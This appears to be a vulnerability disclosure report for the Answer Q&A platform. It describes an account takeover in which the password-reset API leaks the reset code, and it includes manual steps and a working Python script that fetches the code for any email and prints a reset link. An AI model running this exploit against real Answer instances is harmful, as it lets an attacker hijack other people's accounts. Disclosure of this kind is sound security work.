Description

Password recovery leads to Account Take Over due to reset code leakage.

Proof of Concept

Create an acount in https://meta.answer.dev/ and verify mail,  then log out.

Go to password recovery (https://meta.answer.dev/users/account-recovery), insert your email and capture the server response, will be something like the following:
{"code":200,"reason":"base.success","msg":"Success.","data":"CODE"}

Copy the "data" token, then go to
https://meta.answer.dev/users/password-reset?code=[CODE]

ATO :)

Impact

Compromise any account knowing only the email address

Script

Attached this script so you don't have to use Burpsuite :)

from sys import argv
import urllib3
from requests import post

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def ato(url: list, email: str) -> str:
    try:
        return f"Your Link: {''.join(url)}users/password-reset?code=" + \
               post(f"{''.join(url)}answer/api/v1/user/password/reset", json={"e_mail": email}, verify=False).json()["data"]
    except Exception as err:
        return f"Cant reach URL: {err}"


if __name__ == "__main__":
    if len(argv) != 3:
        print(f"Usage: {argv[0]} https://answer.domain/ myemail@localhost.com")
        exit()

    print(ato([argv[1] if argv[1].endswith("/") else argv[1] + "/"], str(argv[2])))
